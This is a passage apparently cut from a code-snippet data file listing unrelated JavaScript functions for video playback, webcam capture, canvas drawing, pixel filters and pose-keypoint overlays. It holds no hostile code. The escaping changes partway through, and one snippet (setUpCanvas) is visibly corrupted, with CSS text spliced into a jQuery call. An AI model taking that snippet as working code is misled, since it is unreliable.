variables\n\t\tvideo = document.getElementById(\"video1\");\n\t\tcanvas = document.getElementById(\"canvas\");\n\t\ttime_slider = document.getElementById(\"time_slider\");\n label_CurrenFrame = document.getElementById(\"currentFrameTime\");\n label_VideoLength = document.getElementById(\"videoLength\");\n\t\tprevious_frame = document.getElementById(\"previousFrame\");\n\t\tnext_frame = document.getElementById(\"nextFrame\");\n\t\tcontainer = document.getElementById(\"container\");\n\t\tcreate_sum = document.getElementById(\"submit\");\n\t\t\n //initialize events\n\t\tcanvas.addEventListener(\"click\", saveFrame, false);\n\t\tcanvas.addEventListener(\"mousemove\", mouseMove, false);\n\t\ttime_slider.addEventListener(\"change\", UpdateFrame, false);\n\t\ttime_slider.addEventListener(\"input\", UpdateFrame, false);\n\t\t\n\t\tdocument.getElementById('files').addEventListener('change', FileChosen);\n\t\tdocument.getElementById('UploadButton').addEventListener('click', StartUpload); \n\t\t\n video.addEventListener('loadeddata', function () {\n label_CurrenFrame.innerHTML = secondsToTimeString(video.currentTime);\n label_VideoLength.innerHTML = secondsToTimeString(video.duration);\n });\n \n\t\tprevious_frame.addEventListener('click', \n\t\tfunction() {\n\t\t\tif (actual_frame === null) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (isUndefined(actual_frame)) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (actual_frame.second <= 0) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tvar value = Math.floor((actual_frame.second - 1) * 100 / video.duration);\n\t\t\tif (value >= 0 && value <= 100) {\n\t\t\t\tactual_frame.second--;\n\t\t\t\ttime_slider.value = value;\n\t\t\t\tdrawFrame(actual_frame);\n\t\t\t}\n\t\t},\n\t\tfalse);\n\t\t\n\t\tnext_frame.addEventListener('click', \n\t\tfunction() {\n\t\t\tif (actual_frame === null) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (video === null) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (isUndefined(actual_frame) || isUndefined(video) || isUndefined(video.duration)) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (actual_frame.second >= video.duration) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tvar value = Math.floor((actual_frame.second + 1) * 100 / video.duration);\n\t\t\tif (value >= 0 && value <= 100) {\n\t\t\t\tactual_frame.second++;\n\t\t\t\ttime_slider.value = value;\n\t\t\t\tdrawFrame(actual_frame);\n\t\t\t}\n\t\t},\n\t\tfalse);\n\t\t\n\t\tdocument.getElementById('submit').addEventListener('click', \n\t\tfunction() {\n\t\t\tupdateDescriptions();\n\t\t\tvar result = combineSegments();\n\t\t\tconsole.log(result);\n\t\t\t// send result to server!\n \t\t\tsocket.emit('ffmpeg', { 'Name' : SelectedFile.name, 'Data' : result });\n\t\t\tdocument.getElementById(\"create_progress\").innerHTML='Creating summary... 0%';\n \n\t\t\tResetSegments();\n\t\t},\n\t\tfalse);\n\t\t\n\t\t// initialize player\n\t\tinitPlayer();\n\t\n\t}","function initialize() {\n // will create HTML5 video element in staging area if not present\n getDOMVideo();\n isInitialized = true;\n }","async function setupWebcam() {\n if (navigator.mediaDevices.getUserMedia) {\n const stream = await navigator.mediaDevices.getUserMedia({\n \"audio\": false,\n \"video\": {\n width: {\n min: 640,\n max: 640\n },\n height: {\n min: 480,\n max: 480\n }\n }\n });\n\n webcam.srcObject = stream;\n\n return new Promise((resolve) => {\n webcam.onloadedmetadata = () => {\n webcam.width = stream.getVideoTracks()[0].getSettings().width;\n webcam.height = stream.getVideoTracks()[0].getSettings().height;\n canvas.width = stream.getVideoTracks()[0].getSettings().width;\n canvas.height = stream.getVideoTracks()[0].getSettings().height;\n\n canvasDims = [canvas.height, canvas.width];\n\n resolve(webcam);\n };\n });\n }\n}","function drawFrameOnCanvas(frame) {\n\t\n\t\tvar reset = frame.reset;\n\t\n canvas.height = video.videoHeight;\n canvas.width = video.videoWidth;\n\t\t// retrieve context for drawing\n\t\tvar context = canvas.getContext(\"2d\");\n\t\t\t\t\n\t\t// Start by clearing the canvas\n\t\tcontext.clearRect(0, 0, canvas.width, canvas.height);\n\t\t\n\t\t// draw frame according to time\n\t\t\n\t\tif (reset) {\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tcontext.drawImage(video, 0, 0, canvas.width, canvas.height);\n \n }","function renderUIAfterFrameChange(videoNode) {\n\n const video = videoNode.data.videoCore\n\n /* Rendering the current time bar */\n renderCurrentPlaybackBar(videoNode)\n\n /* Updating the canvas resolution */\n alpha1 = canvas.width * video.videoHeight / canvas.height - video.videoWidth\n alpha2 = video.videoWidth * canvas.height / canvas.width - video.videoHeight\n\n if (alpha1 < alpha2) {\n canvas.width = video.videoWidth + alpha1\n canvas.height = video.videoHeight\n } else {\n canvas.width = video.videoWidth\n canvas.height = video.videoHeight + alpha2\n }\n\n canvasRatio = canvas.width / canvas.height\n videoRatio = video.videoWidth / video.videoHeight\n\n currentVideoDurationLabel.innerText = formatTimeFromSeconds((\n videoNode.data.metadata.baseDuration - videoNode.data.metadata.startTime + video.currentTime\n ).toFixed(2))\n \n if (videoNode.data.metadata.ratio == 'fit') {\n if (window.currentRatio == 'strech') {\n document.querySelector('.toogle-fit').click()\n }\n context.drawImage(\n video, canvas.width / 2 - videoRatio * canvas.height / 2, 0, videoRatio * canvas.height, canvas.height\n ) \n } else if (videoNode.data.metadata.ratio == 'strech') {\n if (window.currentRatio === 'fit') {\n document.querySelector('.toogle-strech').click()\n }\n context.drawImage(\n video, 0, 0, canvas.width, canvas.height\n )\n }\n}","function init() {\n\t\t\tconstructVideoPlayerContent(elems.container);\n\t\t\tshowControls();\n\t\t\t_.event(elems.btnBigPlay, 'click', play);\n\t\t\t_.event(elems.buttons.play, 'click', playPause);\n\t\t\t_.event(elems.video, 'click', pause);\n\t\t\t_.event(elems.buttons.volume, 'click', mute);\n\t\t\t_.event(elems.buttons.fullscreen, 'click', fullscreen);\n\t\t\t_.event(elems.video, 'loadedmetadata', function(e) {\n\t\t\t\tplaybackRate(opts.speed);\n\t\t\t\tvideoProgress = new Range(opts.progress / elems.video.duration, elems.ranges.video, {\n\t\t\t\t\tonDrop: (pct) => progress(pct, true),\n\t\t\t\t});\n\t\t\t\tvolumeSlider = new Range(opts.volume, elems.ranges.volume, {\n\t\t\t\t\tonDrag: volume,\n\t\t\t\t});\n\t\t\t\tvolume(opts.volume);\n\t\t\t\tprogress(opts.progress);\n\t\t\t\ttimestamp(0, elems.video.duration);\n\t\t\t\tif (opts.autoplay) play();\n\t\t\t});\n\t\t\t_.event(elems.video, 'timeupdate', progUpdate);\n\t\t\t_.event(elems.main, 'mousemove', showControls);\n\t\t\t_.event(elems.controls, 'mouseenter', () => showControls(true));\n\t\t\t_.event(elems.controls, 'mouseleave', () => showControls(false));\n\t\t\t_.event(window, 'keyup', handleKeyPress);\n\t\t\t_.event(document, 'fullscreenchange', handleFullscreenChange); // PREFIXES WHY\n\t\t\t_.event(document, 'msfullscreenchange', handleFullscreenChange);\n\t\t\t_.event(document, 'mozfullscreenchange', handleFullscreenChange);\n\t\t\t_.event(document, 'webkitfullscreenchange', handleFullscreenChange);\n\n\t\t\tif (opts.fullscreen) fullscreen(true);\n\t\t\telems.video.src = opts.src;\n\t\t}","function setup() {\n // set up canvas\n let canvas = createCanvas(canvasW, canvasH);\n canvas.parent('canvas');\n\n}","init() {\n this.isCanvasSupported() ? this.ctx = this.canvas.getContext('2d') : false;\n\n if (this.ctx) {\n this.playBtn.addEventListener('click', () => {\n this.playBtn.classList.add('active');\n this.startTheGame();\n });\n\n this.retryBtn.addEventListener('click', () => {\n this.reset();\n this.retryBtn.classList.add('inactive');\n this.startTheGame();\n });\n }\n }","initBoard() {\n this.canvas = document.createElement('canvas');\n this.ctx = this.canvas.getContext('2d');\n this.width = this.canvas.width = this.tileWidth * this.columns;\n this.height = this.canvas.height = this.tileHeight * this.rows;\n this.canvas.style.border = \"none\";\n this.initStage();\n }","function initialize() {\n webcamElement = document.getElementById('webcam');\n canvasElement = document.getElementById('canvas');\n webcam = new Webcam(webcamElement, 'user', canvasElement);\n snapButtonElement = document.getElementById('capture');\n startButtonElement = document.getElementById('retake');\n}","function videoReady() { }","setUpCanvas(){\n var w = window.innerWidth;\n var h = window.innerHeight;\n this.$canvas = $(`\\n ccwc-video {\\n display: inline-block;\\n background-color: black;\\n position: relative;\\n overflow: hidden;\\n }\\n \\n ccwc-video > canvas {\\n position: absolute;\\n }\\n \\n ccwc-video > video {\\n position: absolute;\\n }\\n \\n\\n \\n `;\\n }\",\n \"async function populateVideo() {\\n // We grab the feed off the user's webcam\\n const stream = await navigator.mediaDevices.getUserMedia({\\n video: { width: 1280, height: 720 },\\n });\\n\\n // We set the object to be the stream\\n video.srcObject = stream; // usually when dealing with video files we use video.src = 'videoName.mp4'\\n await video.play();\\n\\n // size the canvases to be the same size as the video\\n console.log(video.videoWidth, video.videoHeight);\\n\\n canvas.width = video.videoWidth;\\n canvas.height = video.videoHeight;\\n\\n faceCanvas.width = video.videoWidth;\\n faceCanvas.height = video.videoHeight;\\n}\",\n \"function paintToCanvas() {\\n // you will find that the canvas height is bigger than the current window size even though its size is set to 640*480\\n // because the width of the canvas is set to 100% which means it will take 100% of the space availabe of its parent container (photobooth)\\n // Since the width of the photobooth is appx 1330px \\n // the canvas will also take width of 1330px\\n // since the width is 1330px the height will be 999px in order to maintain the aspect ratio (640*480)\\n // the canvas is taking aspect ratio from our defined size (i.e 640 * 480)\\n // therefore you can change the aspect ratio by changing the width and height of the canvas\\n // if you remove the width 100% from its css , it will regain the size of 640*480\\n\\n // width and height = 640 * 480 \\n // because the resolution we get from the video feed is by default 640*480 and is pre-defined by the system webcam\\n // setting canvas width and height = 640*480\\n const width = video.videoWidth;\\n const height = video.videoHeight;\\n [canvas.width, canvas.height] = [width, height];\\n\\n // the video playing in the canvas is not a actual video\\n // but rather a image showing every few millisecond (giving us a video like visual)\\n // So every 16ms the image captured from the video feed will be pasted/drawed on the canvas.\\n // So we can say our video on canvas is showing 1 frame every 16 milliseconds\\n return setInterval(() => {\\n // ctx.drawImage will draw the image captured from the video feed\\n // 0,0 are the x and y coordinate of the top left corner of the canvas\\n // it will indicate that from which point the image drawing will start\\n // width and height is of the destination contex(canvas)\\n ctx.drawImage(video, 0, 0, width, height);\\n\\n // FROM HERE AFTERWARDS pixels MEANS VARIABLE\\n\\n // ctx.getImageData will give the data of the image(from the video playing on the canvas) \\n // pixels will store the image data in form of array of rgb values for individual pixels\\n let pixels = ctx.getImageData(0, 0, width, height);\\n\\n // Rendering different effects for the pixels\\n // Every image captured from the video feed every 16ms will go through these function everytime\\n // The pixels returned by these function will have different rgb values as compared to the original pixels\\n\\n // This is for red filter\\n // pixels = redEffect(pixels);\\n\\n // This is for rgbSplit(tiktok) filter\\n // pixels = rgbSplit(pixels);\\n\\n // This is for green screen\\n pixels = greenScreen(pixels);\\n\\n // globalAlpha will determine how transparent will be the filters (0 - fully transparent, 1-opaque)\\n // ctx.globalAlpha = 0.8\\n\\n // this will put the modified pixels back into the canvas\\n // thus showing the filter on the video\\n ctx.putImageData(pixels, 0, 0)\\n }, 16);\\n}\",\n \"function drawCameraIntoCanvas() {\\n // Draw the video element into the canvas\\n ctx.drawImage(video, 0, 0, pageContent.offsetWidth, pageContent.offsetHeight);\\n ctx.fillStyle = '#000000';\\n ctx.fillRect(0, 0, pageContent.offsetWidth, pageContent.offsetHeight);\\n ctx.lineWidth = 5;\\n ctx.fillStyle = '#00FFFF';\\n ctx.strokeStyle = '#00FFFF';\\n\\n // We can call both functions to draw all keypoints and the skeletons\\n drawKeypoints();\\n drawSkeleton();\\n window.requestAnimationFrame(drawCameraIntoCanvas);\\n}\",\n \"function installcanvas () {\\n\\n // if there's an iframe\\n var iframe = document.getElementById('tool_content');\\n if (iframe) {\\n \\t\\taddEventListener(\\\"message\\\", installfromiframe('#content', 'about:blank', ''), false);\\n } \\n \\n // multiple videos as per\\n // https://canvas.harvard.edu/courses/340/wiki/supplemental-materials-for-lab-1-reporter-gene-analysis-using-transgenic-animals?module_item_id=630 \\n else {\\n\\n // video locations that may need a click to access \\n var containers = [].slice.call(document.getElementsByClassName('instructure_file_link_holder'));\\n containers = containers.concat([].slice.call(document.getElementsByClassName('instructure_inline_media_comment')));\\n // known video locations\\n var matches = document.body.innerHTML.match(/me_flash_\\\\d_container/g);\\n\\n // if any known videos exist, launch those\\n if (matches) {\\n\\n // loop through all known videos\\n for (var i = 0; i < matches.length; i++) {\\n\\n // pull out the video number\\n matches[i] = matches[i].replace(/\\\\D/g, \\\"\\\");\\n\\n // parameters for the videoplayer\\n var parameter = {};\\n\\n // only supporting mp4 at the moment\\n parameter.audio = false;\\n\\n // set number for video classes \\n parameter.number = matches[i];\\n\\n // get source for available video\\n parameter.source = document.getElementById('mep_' + matches[i]).childNodes[0].childNodes[0].childNodes[1].src + '?1';\\n if (parameter.source) {\\n\\n // get locally stored data \\n var hist = JSON.parse(localStorage.getItem(parameter.source));\\n if (hist) {\\n parameter.time = hist.time;\\n }\\n\\n // prepare new container\\n var container = $('');\\n\\n // maximize player's width\\n container.css('margin', '10px 0 0 0');\\n container.css('padding', '0');\\n container.css('width', '100%');\\n parameter.playing = false;\\n\\n // find if the video is playing\\n if ($('#mep_' + matches[i]).find('.mejs-pause')[0]){\\n parameter.playing = true;\\n }\\n\\n // replace old container with new\\n $('#mep_' + matches[i]).replaceWith(container);\\n\\n // install player\\n install(container, parameter);\\n }\\n }\\n }\\n\\n // click on all possible video containers, watch if things change\\n if (containers.length != 0) {\\n\\n // watch for changes for each container\\n for(var i = 0; i < containers.length; i++) {\\n\\n // use mutation observer as per \\n // https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver\\n var observer = new MutationObserver(function (mutations) {\\n mutations.forEach(function (mutation) {\\n\\n // see if changes are to the child of the container\\n if (mutation.type === 'childList') {\\n\\n // look through each child\\n Array.prototype.forEach.call(mutation.target.children, function (child) {\\n\\n // match (only once per video) -- same code as if (matches) branch\\n matches = document.body.innerHTML.match(/me_flash_\\\\d_container/g);\\n if (matches) {\\n for (var i = 0; i < matches.length; i++) {\\n matches[i] = matches[i].replace(/\\\\D/g, '');\\n\\n // parameters for the videoplayer\\n var parameter = {};\\n parameter.audio = false;\\n\\n // set number for video classes \\n parameter.number = matches[i];\\n\\n // get source for available video\\n parameter.source = document.getElementById('mep_' + matches[i]).childNodes[0].childNodes[0].childNodes[1].src + '?1';\\n if (parameter.source) {\\n\\n // get locally stored data for time\\n var hist = JSON.parse(localStorage.getItem(parameter.source));\\n if (hist) {\\n parameter.time = hist.time;\\n }\\n\\n // prepare new container\\n var container = $('');\\n\\n // maximize player's width\\n container.css('margin', '10px 0 0 0');\\n container.css('padding', '0');\\n container.css('width', '100%');\\n\\n // replace old container with new\\n $('#mep_' + matches[i]).replaceWith(container);\\n\\n parameter.playing = false;\\n\\n // install player\\n install(container, parameter);\\n }\\n }\\n }\\n });\\n }\\n });\\n });\\n\\n // actually start observing\\n observer.observe(containers[i], {\\n childList: true,\\n characterData: true,\\n subtree: true\\n });\\n }\\n\\n // simulate click, waits for link to appear\\n $('.media_comment_thumbnail').click(); \\n } \\n\\n // no possible video containers, apologize\\n else {\\n apologize();\\n }\\n }\\n}\",\n \"function init() {\\n\\t\\tconsole.log('init');\\n\\t\\t// Put event listeners into place\\n\\t\\t// Notice that in this specific case handlers are loaded on the onload event\\n\\t\\twindow.addEventListener(\\n\\t\\t\\t'DOMContentLoaded',\\n\\t\\t\\tfunction() {\\n\\t\\t\\t\\t// Grab elements, create settings, etc.\\n\\t\\t\\t\\tvar canvas = document.getElementById('canvas');\\n\\t\\t\\t\\tvar context = canvas.getContext('2d');\\n\\t\\t\\t\\t// context.transform(3,0,0,1,canvas.width,canvas.heigth);\\n\\t\\t\\t\\tvar video = document.getElementById('video');\\n\\t\\t\\t\\tvar mediaConfig = {\\n\\t\\t\\t\\t\\tvideo: true\\n\\t\\t\\t\\t};\\n\\t\\t\\t\\tvar errBack = function(e) {\\n\\t\\t\\t\\t\\tconsole.log('An error has occurred!', e);\\n\\t\\t\\t\\t};\\n\\n\\t\\t\\t\\tlet aspectRatio = 2;\\n\\n\\t\\t\\t\\t// Put video listeners into place\\n\\t\\t\\t\\tif (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\\n\\t\\t\\t\\t\\tnavigator.mediaDevices.getUserMedia(mediaConfig).then(function(stream) {\\n\\t\\t\\t\\t\\t\\taspectRatio = stream.getVideoTracks()[0].getSettings().aspectRatio;\\n\\t\\t\\t\\t\\t\\tdocument.getElementById('video-spinner').style.display = 'block';\\n\\t\\t\\t\\t\\t});\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t// Trigger photo take\\n\\t\\t\\t\\tdocument.getElementById('snap').addEventListener('click', function() {\\n\\t\\t\\t\\t\\tdocument.getElementsByClassName('canvas-container')[0].style.visibility = 'visible';\\n\\t\\t\\t\\t\\tlet heigth = 480;\\n\\n\\t\\t\\t\\t\\tcontext.save();\\n\\t\\t\\t\\t\\tcontext.translate(480 * aspectRatio, 0);\\n\\t\\t\\t\\t\\tcontext.scale(-1, 1);\\n\\t\\t\\t\\t\\tcontext.drawImage(video, 0, 0, aspectRatio * heigth, heigth);\\n\\t\\t\\t\\t\\tcontext.restore();\\n\\t\\t\\t\\t\\tstate.photoSnapped = true; // photo has been taken\\n\\t\\t\\t\\t});\\n\\n\\t\\t\\t\\t// Trigger when upload button is pressed\\n\\t\\t\\t\\tif (document.getElementById('upload'))\\n\\t\\t\\t\\t\\tdocument.getElementById('upload').addEventListener('click', () => {\\n\\t\\t\\t\\t\\t\\tdocument.getElementById('video-spinner').style.display = 'block';\\n\\t\\t\\t\\t\\t\\t// uploadImage();\\n\\t\\t\\t\\t\\t\\tselectImage();\\n\\t\\t\\t\\t\\t});\\n\\n\\t\\t\\t\\tif (document.getElementById('upload_search'))\\n\\t\\t\\t\\t\\tdocument.getElementById('upload_search').addEventListener('click', () => {\\n\\t\\t\\t\\t\\t\\tdocument.getElementById('video-spinner').style.display = 'block';\\n\\t\\t\\t\\t\\t\\t// searchImage();\\n\\t\\t\\t\\t\\t});\\n\\t\\t\\t},\\n\\t\\t\\tfalse\\n\\t\\t);\\n\\t}\",\n \"function drawCameraIntoCanvas() {\\n // Draw the video element into the canvas\\n ctx.drawImage(video, 0, 0, 640, 480);\\n // We can call both functions to draw all keypoints and the skeletons\\n drawKeypoints();\\n drawSkeleton();\\n window.requestAnimationFrame(drawCameraIntoCanvas);\\n}\",\n \"function startVideo(){\\n canvas.width = video.videoWidth;\\n canvas.height = video.videoHeight;\\n canvas.getContext('2d').\\n drawImage(video, 0, 0, canvas.width, canvas.height);\\n $scope.sendPicture();\\n}\",\n \"function paintToCanvas() {\\n // We need to make sure canvas and video are the same width/height\\n const width = video.videoWidth;\\n const height = video.videoHeight;\\n canvas.width = width;\\n canvas.height = height;\\n\\n // Every couple seconds, take image from webcam and put it onto canvas\\n return setInterval(() => {\\n // drawImage: pass it an image/video and it will place it on the canvas\\n ctx.drawImage(video, 0, 0, width, height);\\n\\n // Take pixels out\\n let pixels = ctx.getImageData(0, 0, width, height); // huge array of pixels\\n\\n // Play around with pixels\\n switch (this.className) {\\n case 'red':\\n pixels = redEffect(pixels);\\n break;\\n case 'split':\\n ctx.globalAlpha = 0.1;\\n pixels = rgbSplit(pixels);\\n break;\\n case 'green':\\n pixels = greenScreen(pixels);\\n }\\n\\n // Put pixels back into canvas\\n ctx.putImageData(pixels, 0, 0);\\n }, 16);\\n}\",\n \"function drawCameraIntoCanvas() {\\n // Draw the video element into the canvas\\n drawKeypoints();\\n window.requestAnimationFrame(drawCameraIntoCanvas);\\n}\",\n \"function currentFrameCanvas(){\\n let video = document.getElementById(\\\"video_id\\\");\\n canvas = document.getElementById('screenShot');\\n canvas.width = width;\\n canvas.height = height;\\n canvas.getContext('2d').drawImage(video, 0, 0, canvas.width, canvas.height);\\n}\",\n \"function drawCameraIntoCanvas() {\\n\\n // draw the video element into the canvas\\n ctx.drawImage(video, 0, 0, video.width, video.height);\\n \\n if (body) {\\n // draw circle for left and right Eye\\n const leftWrist = body.getBodyPart(bodyParts.leftWrist);\\n const rightWrist = body.getBodyPart(bodyParts.rightWrist);\\n\\n\\n\\n // draw left Eye\\n ctx.beginPath();\\n ctx.arc(leftWrist.position.x, leftWrist.position.y, 5, 0, 2 * Math.PI);\\n ctx.fillStyle = 'white';\\n ctx.fill();\\n\\n // draw right Eye\\n ctx.beginPath();\\n ctx.arc(rightWrist.position.x, rightWrist.position.y, 5, 0, 2 * Math.PI);\\n ctx.fillStyle = 'white';\\n ctx.fill();\\n\\n\\n ctx.beginPath();\\n ctx.moveTo(leftWrist.position.x,leftWrist.position.y);\\n ctx.lineTo(rightWrist.position.x,rightWrist.position.y, 150);\\n ctx.lineWidth = 10;\\n ctx.strokeStyle = 'white';\\n ctx.stroke();\\n }\\n requestAnimationFrame(drawCameraIntoCanvas);\\n}\",\n \"function createCanvas() {\\n // console.log(parseInt(pixelByPixel.value));\\n selectedFrameData = null;\\n selectedFrameData = {};\\n layerCount = 0;\\n framesArray = [],\\n currentFrame = 0,\\n playbackRunning = false,\\n playbackInterval = null,\\n unsavedFrame = false;\\n removeListeners();\\n resetFrames();\\n resetLayers();\\n resetSelectionState();\\n addDisplayFrame(0);\\n setCurrentFrame(0);\\n initCanvas(\\\"2d\\\", parseInt(pixelByPixel.value));\\n}\",\n \"function paintToCanvas() {\\n // get the width and height of the actual live feed video\\n const width = video.videoWidth;\\n const height = video.videoHeight;\\n\\n // set canvas width and height to be the same as the live feed video\\n canvas.width = width;\\n canvas.height = height;\\n\\n // every 16ms, take the image from the webcam and put it into the canvas\\n return setInterval(() => {\\n ctx.drawImage(video, 0, 0, width, height);\\n\\n // take the pixels out\\n let pixels = ctx.getImageData(0, 0, width, height);\\n\\n // mess with them\\n // pixels = redEffect(pixels);\\n\\n // pixels = redSplit(pixels);\\n // ctx.globalAlpha = 0.8;\\n\\n pixels = greenScreen(pixels);\\n\\n // put them back\\n ctx.putImageData(pixels, 0, 0);\\n }, 16);\\n}\",\n \"function initPreview() {\\n\\t\\n\\t//clear the canvas first\\n\\tcanvasPreviewContext.clearRect(0, 0, canvasPreview.width, canvasPreview.height);\\n\\t\\n\\t//what file type are we dealing with\\n\\tif (fileType == \\\"VIDEO\\\") {\\n\\t\\t\\n\\t\\tsampleWidth = 50;\\n\\t\\tsampleHeight = Math.floor((9/16)*sampleWidth);\\n\\t\\tvideoArea.width = sampleWidth;\\n\\t\\tvideoArea.height = sampleHeight;\\n\\t\\t\\n\\t\\t//reset size of the canvas\\n\\t\\tcanvasPreview.width = sampleWidth;\\n\\t\\tcanvasPreview.height = sampleHeight;\\n\\t\\tpreviewArea.style.width = sampleWidth + \\\"px\\\";\\n\\t\\tpreviewArea.style.height = sampleHeight + \\\"px\\\";\\n\\t\\t\\n\\t\\t//set the video in the videoArea so it starts playing\\n\\t\\tvideoArea.type = file.type;\\n\\t\\tvideoArea.src = fileURL;\\n\\t\\t\\n\\t\\t//set fileWidth\\n\\t\\tfileWidth = sampleWidth;\\n\\t\\tfileHeight = sampleHeight;\\n\\t\\t\\n\\t\\t//make a sample first\\n\\t\\t/*canvasPreviewContext.drawImage(videoArea, 0, 0, videoArea.width, videoArea.height);*/\\n\\t\\t\\n\\t\\t//initBuffers();\\n\\t\\t\\n\\t\\t\\n\\t\\t/*document.onclick = function() {\\n\\t\\t\\tinitCubes();\\n\\t\\t}*/\\n\\t\\t\\n\\t\\t//keep updating cubes based on the options\\n\\t\\t//startUpdateCubesInterval();\\n\\t\\tsetTimeout(initPlanes, 2000);\\n\\t\\tstartUpdatePlanesInterval();\\n\\t\\tstopUpdateCubesInterval();\\n\\t\\t\\n\\t\\t//keep rendering the screen based on mouse/camera position\\n\\t\\tstartThreeInterval();\\n\\n\\t\\t\\n\\t} else if (fileType == \\\"IMAGE\\\") {\\n\\t\\t\\n\\t\\t\\n\\t\\tsampleWidth = 30;\\n\\t\\tsampleHeight = Math.floor((9/16)*sampleWidth);\\n\\t\\t\\n\\t\\t//load the image data and display in the preview\\n\\t\\tvar img = new Image();\\n\\t\\timg.onload = function() {\\n\\n\\t\\t\\t//get the image dimensions so we can drawImage at the right aspect ratio\\n\\t\\t\\tsetNewFileDimensions(img);\\n\\t\\t\\t\\n\\t\\t\\t//draw the image onto the canvas\\n\\t\\t canvasPreviewContext.drawImage(img, 0, 0, fileWidth, fileHeight);\\n\\t\\t\\t\\n\\t\\t\\t//initBuffers();\\n\\t\\t\\tinitCubes();\\n\\t\\t\\t//initPlanes();\\n\\t\\t\\t\\n\\t\\t\\t//keep updating cubes based on the options\\n\\t\\t\\tstartUpdateCubesInterval();\\n\\t\\t\\tstopUpdatePlanesInterval();\\n\\t\\t\\t\\n\\t\\t\\t//keep rendering the screen based on mouse/camera position\\n\\t\\t\\tstartThreeInterval();\\n\\n\\t\\t}\\n\\t\\t\\n\\t\\t//set the src of our new file\\n\\t\\timg.src = fileURL;\\n\\t\\t\\n\\t\\t//we should clear the video tag\\n\\t\\tvideoArea.type = \\\"\\\";\\n\\t\\tvideoArea.src = \\\"\\\";\\n\\t\\tvideoArea.pause();\\n\\t\\t\\n\\t\\t//we should stop sampling the video if its there\\n\\t\\tstopSamplingVideo();\\n\\t\\t\\n\\t}\\n\\t\\n}\",\n \"function FrameInitalizer(canvas, form, video, options) {\\n //Opt parse.\\n options = options || {};\\n this.drawFrame = options.override_frame_draw || this._drawFrame\\n this.drawImage = options.override_image_draw || this._drawImage\\n this.drawPolygons = options.override_polygon_draw || this._drawPolygons\\n //I might add a string to the OnChange functions that says where they were called from.\\n //I could also add stuff like OnClear or whatever, not really sure I wanna go for that.\\n //A return a reference to the previous state?\\n //You shouldn't need these unless you do web worker stuff anyways.\\n this.onImageChange = options.on_image_change_functor || (function(self) {\\n return; //self.drawFrame() //Do nothing, if they want to draw on every update, let them set this.\\n });\\n this.onPolygonChange = options.on_polygon_change_functor || (function(self) {\\n return; //self.drawFrame(); //Do nothing, if they want to draw on every update, let them set this.\\n });\\n this.source = options.source || null;\\n this.number_of_frames = options.number_of_frames || 1;\\n //Mandatory positional args.\\n this.canvas = canvas;\\n this.form = form;\\n this.video = video; //video element;\\n this.frames = [new _FrameTracker(0)];\\n this.frame_index = 0;\\n this.updateFrameList(1);\\n }\",\n \"function initialize() {\\n // Create a canvas element to which we will copy video.\\n canvas = document.createElement('canvas');\\n var webcamDimensions = webcam.getDimensions();\\n canvas.width = webcamDimensions.width;\\n canvas.height = webcamDimensions.height;\\n\\n // We need a context for the canvas in order to copy to it.\\n context = canvas.getContext('2d');\\n\\n // create an AR Marker detector using the canvas as the data source\\n detector = ardetector.create( canvas );\\n\\n // Create an AR View for displaying the augmented reality scene\\n view = arview.create( webcam.getDimensions(), canvas );\\n\\n // Set the ARView camera projection matrix according to the detector\\n view.setCameraMatrix( detector.getCameraMatrix(10,1000) );\\n\\n // Place the arview's GL canvas into the DOM.\\n document.getElementById(\\\"application\\\").appendChild( view.glCanvas );\\n }\",\n \"function setup() {\\n createCanvas(640, 480, P2D); // canvas has same dimensions as my webcam\\n background(0);\\n stroke(0, 255, 0);\\n noFill();\\n\\n // make sure the framerate is the same between sending and receiving\\n frameRate(30);\\n\\n // Set to true to turn on logging for the webrtc client\\n WebRTCPeerClient.setDebug(true);\\n\\n // To connect to server over public internet pass the ngrok address\\n // See https://github.com/lisajamhoury/WebRTC-Simple-Peer-Examples#to-run-signal-server-online-with-ngrok\\n WebRTCPeerClient.initSocketClient('https://XXXXXXXX.ngrok.io/');\\n\\n // Start the peer client\\n WebRTCPeerClient.initPeerClient();\\n\\n // start your video\\n // your webcam will always appear below the canvas\\n myVideo = createCapture(VIDEO);\\n myVideo.size(width, height);\\n myVideo.hide();\\n\\n ////// HOW TO DEFINE OTHER PERSON'S VIDEO? //////\\n // otherVideo = createCapture(VIDEO);\\n // otherVideo.size(width, height);\\n\\n}\",\n \"function paintToCanvas() { //to display webcame live in a specified canvas with videos actual height and width\\n\\n const width = video.videoWidth; //getting actual height and width of video\\n const height = video.videoHeight;\\n canvas.width = width; //setting the canvas width and height accordingly \\n canvas.height = height;\\n return setInterval(() => { //by setintertval method we are drawing the recieved video's image in after every 16milli sec \\n ctx.drawImage(video, 0, 0, width, height); //here we are drawing the image recieved in canvas\\n let pixels = ctx.getImageData(0, 0, width, height) //here we are getting the canvas image to make some effect\\n // console.log(pixels)\\n // debugger;\\n // pixels = redeffect(pixels) //here redeffect is called\\n // console.log(hola);\\n pixels = rgbsplit(pixels) // we are calling rgb split to make some changes in the pixels thats is the image we get from canvas\\n ctx.globalAlpha=0.8; \\n // pixels = greenscreen(pixels)\\n ctx.putImageData(pixels, 0, 0); //after we get the changed pixels we put it back in the canvas\\n }, 16);\\n}\",\n \"function setup() {\\n createCanvas(640, 480);\\n video = select(\\\"video\\\") || createCapture(VIDEO);\\n video.size(width, height);\\n\\n const poseNet = ml5.poseNet(video, { flipHorizontal: true }, () => {\\n select(\\\"#status\\\").hide();\\n });\\n\\n poseNet.on(\\\"pose\\\", (newPoses) => {\\n poses = newPoses;\\n });\\n\\n // Hide the video element, and just show the canvas\\n video.hide();\\n}\",\n \"function ytInject() {\\n injectStyle();\\n injectCanvas();\\n injectButton();\\n\\n $(window).resize(function() {\\n var main = $('#vt-main-div').get(0);\\n var canvas = $('#vt-canvas').get(0);\\n\\n main.style.height = $('.video-stream').height();\\n main.style.width = $('.video-stream').width();\\n $('#vt-canvas').height($('vt-main-div').height());\\n $('#vt-canvas').width($('vt-main-div').width());\\n\\n //Scale the canvas to achieve proper resolution\\n 